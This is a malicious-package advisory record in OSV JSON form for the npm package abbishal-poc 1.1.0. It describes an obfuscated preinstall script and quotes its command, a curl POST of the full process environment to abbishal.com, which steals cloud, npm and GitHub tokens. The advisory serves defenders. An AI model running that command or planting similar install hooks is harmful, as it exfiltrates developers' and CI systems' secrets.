abbishal-poc

{"modified":"2026-10-05T03:35:06Z","published":"2026-10-05T03:35:06Z","schema_version":"1.7.4","id":"MAL-2026-17545","summary":"Malicious code in abbishal-poc (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32)\nOn `npm install`, package.json's preinstall hook runs `sh./test.sh`, which uses character-split variable obfuscation (b=e, i=c, s=n, h=u, a=v, l=rl) to reconstruct and execute `curl -d \"$(env)\" https://abbishal.com/sh/poc`. The script dumps the installer's full process environment — which on CI/CD and developer hosts typically contains cloud credentials (AWS_*), publish tokens (NPM_TOKEN), source-control tokens (GITHUB_TOKEN) and other secrets — and POSTs the contents to the author-controlled domain abbishal.com. The destination is hardcoded and not caller-configurable. In-script comments explicitly describe evading npm's malware scanners, and the README's claims of 'no network requests' and 'no data collection' contradict the actual behavior.\n","affected":[{"package":{"ecosystem":"npm","name":"abbishal-poc"},"versions":["1.1.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"test.sh","sha256":"18a6b6485d45d2b52b570abb42355d59865866191761267e137be12061eebf29","tlsh":"c60123f34a646374edf908b31a5d13e6c2b4a05a857358b852ef510512026e4123bd25"}],"package_integrity":[{"filename":"abbishal-poc-1.1.0.tgz","hashes":{"sha1":"dfa84c45165d6c80e53b969551a016595e724fa3","sha512_sri":"sha512-nel38YeFu2J7lRIIGwvRpB45nWzz1SwZf2UgYFfTWwDNZ3N4nR7vkfjWsSNtxJ9v/EfKxLuYOz90PX/sBG4K1A=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/abbishal-poc/v/1.1.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-021011","import_time":"2026-10-05T03:57:38.520476568Z","modified_time":"2026-10-05T03:35:06Z","sha256":"f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32","source":"amazon-inspector","versions":["1.1.0"]}]}}